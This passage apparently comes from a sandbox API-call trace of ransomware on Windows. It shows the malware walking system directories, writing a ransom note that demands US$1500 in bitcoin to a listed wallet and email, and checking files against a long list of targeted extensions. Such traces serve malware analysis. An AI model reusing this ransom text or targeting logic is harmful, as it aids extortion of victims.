returned 0 [0112.127] lstrlenA (lpString="*.csv") returned 5 [0112.127] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb07e6c81, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb07e6c81, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb080cde1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x71200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Aero.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0112.127] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.127] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb14b22d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb14b22d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb14b22d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="495f263cbca8e7d0462ee309a634e115", cAlternateFileName="495F26~1")) returned 1 [0112.127] lstrcmpA (lpString1=".", lpString2="495f263cbca8e7d0462ee309a634e115") returned -1 [0112.127] lstrcmpA (lpString1="..", lpString2="495f263cbca8e7d0462ee309a634e115") returned -1 [0112.127] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\*.*") returned="*.*" [0112.127] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\", lpString2="495f263cbca8e7d0462ee309a634e115" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115" [0112.127] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115") returned 100 [0112.127] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb14b22d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb14b22d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb14b22d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.127] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.127] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb14b22d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb14b22d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb14b22d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.127] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.127] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.127] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb143feb7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb143feb7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb143feb7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x97800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Luna.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0112.127] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.127] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Luna.ni.dll") returned -1 [0112.128] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Luna.ni.dll") returned -1 [0112.128] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Luna.ni.dll") returned -1 [0112.128] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\*.*") returned="*.*" [0112.128] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\" [0112.128] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\") returned="" [0112.128] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\HOW TO DECRYPT FILES.txt" [0112.128] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\495f263cbca8e7d0462ee309a634e115\\how to decrypt files.txt")) returned 0xffffffff [0112.128] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\495f263cbca8e7d0462ee309a634e115\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.129] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.129] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.131] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.131] CloseHandle (hObject=0x90) returned 1 [0112.131] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\", lpString2="PresentationFramework.Luna.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll" [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.ems") returned 0 [0112.131] lstrlenA (lpString="*.ems") returned 5 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.db") returned 0 [0112.131] lstrlenA (lpString="*.db") returned 4 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.dbf") returned 0 [0112.131] lstrlenA (lpString="*.dbf") returned 5 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.myox") returned 0 [0112.131] lstrlenA (lpString="*.myox") returned 6 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.myo") returned 0 [0112.131] lstrlenA (lpString="*.myo") returned 5 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbw") returned 0 [0112.131] lstrlenA (lpString="*.qbw") returned 5 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbb") returned 0 [0112.131] lstrlenA (lpString="*.qbb") returned 5 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbm") returned 0 [0112.131] lstrlenA (lpString="*.qbm") returned 5 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbo") returned 0 [0112.131] lstrlenA (lpString="*.qbo") returned 5 [0112.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbx") returned 0 [0112.131] lstrlenA (lpString="*.qbx") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qba") returned 0 [0112.132] lstrlenA (lpString="*.qba") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qby") returned 0 [0112.132] lstrlenA (lpString="*.qby") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbj") returned 0 [0112.132] lstrlenA (lpString="*.qbj") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.ofx") returned 0 [0112.132] lstrlenA (lpString="*.ofx") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.qif") returned 0 [0112.132] lstrlenA (lpString="*.qif") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.mye") returned 0 [0112.132] lstrlenA (lpString="*.mye") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.mbox") returned 0 [0112.132] lstrlenA (lpString="*.mbox") returned 6 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.eml") returned 0 [0112.132] lstrlenA (lpString="*.eml") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.pst") returned 0 [0112.132] lstrlenA (lpString="*.pst") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.ost") returned 0 [0112.132] lstrlenA (lpString="*.ost") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.idx") returned 0 [0112.132] lstrlenA (lpString="*.idx") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.dbx") returned 0 [0112.132] lstrlenA (lpString="*.dbx") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.sql") returned 0 [0112.132] lstrlenA (lpString="*.sql") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.mdb") returned 0 [0112.132] lstrlenA (lpString="*.mdb") returned 5 [0112.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.fdb") returned 0 [0112.133] lstrlenA (lpString="*.fdb") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.wab") returned 0 [0112.133] lstrlenA (lpString="*.wab") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.dat") returned 0 [0112.133] lstrlenA (lpString="*.dat") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.txt") returned 0 [0112.133] lstrlenA (lpString="*.txt") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.jpeg") returned 0 [0112.133] lstrlenA (lpString="*.jpeg") returned 6 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.jpg") returned 0 [0112.133] lstrlenA (lpString="*.jpg") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.png") returned 0 [0112.133] lstrlenA (lpString="*.png") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.php") returned 0 [0112.133] lstrlenA (lpString="*.php") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.cs") returned 0 [0112.133] lstrlenA (lpString="*.cs") returned 4 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.cpp") returned 0 [0112.133] lstrlenA (lpString="*.cpp") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.rar") returned 0 [0112.133] lstrlenA (lpString="*.rar") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.zip") returned 0 [0112.133] lstrlenA (lpString="*.zip") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.html") returned 0 [0112.133] lstrlenA (lpString="*.html") returned 6 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.htm") returned 0 [0112.133] lstrlenA (lpString="*.htm") returned 5 [0112.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.xlsx") returned 0 [0112.134] lstrlenA (lpString="*.xlsx") returned 6 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.xls") returned 0 [0112.134] lstrlenA (lpString="*.xls") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.mp4") returned 0 [0112.134] lstrlenA (lpString="*.mp4") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.ppt") returned 0 [0112.134] lstrlenA (lpString="*.ppt") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.pptx") returned 0 [0112.134] lstrlenA (lpString="*.pptx") returned 6 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.doc") returned 0 [0112.134] lstrlenA (lpString="*.doc") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.dot") returned 0 [0112.134] lstrlenA (lpString="*.dot") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.docx") returned 0 [0112.134] lstrlenA (lpString="*.docx") returned 6 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.7z") returned 0 [0112.134] lstrlenA (lpString="*.7z") returned 4 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.tar") returned 0 [0112.134] lstrlenA (lpString="*.tar") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.bz2") returned 0 [0112.134] lstrlenA (lpString="*.bz2") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.gz") returned 0 [0112.134] lstrlenA (lpString="*.gz") returned 4 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.mkv") returned 0 [0112.134] lstrlenA (lpString="*.mkv") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.eml") returned 0 [0112.134] lstrlenA (lpString="*.eml") returned 5 [0112.134] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.msg") returned 0 [0112.135] lstrlenA (lpString="*.msg") returned 5 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.edb") returned 0 [0112.135] lstrlenA (lpString="*.edb") returned 5 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.accdb") returned 0 [0112.135] lstrlenA (lpString="*.accdb") returned 7 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.odb") returned 0 [0112.135] lstrlenA (lpString="*.odb") returned 5 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.java") returned 0 [0112.135] lstrlenA (lpString="*.java") returned 6 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.asm") returned 0 [0112.135] lstrlenA (lpString="*.asm") returned 5 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.pfx") returned 0 [0112.135] lstrlenA (lpString="*.pfx") returned 5 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.pem") returned 0 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.p12") returned 0 [0112.135] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.gpg") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.vsd") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.odg") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.raw") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.nef") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.svg") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.psd") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.vmx") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.vmdk") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.vdi") returned 0 [0112.136] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\495f263cbca8e7d0462ee309a634e115\\PresentationFramework.Luna.ni.dll", pszSpec="*.lay6") returned 0 [0112.136] PathMatchSpecA 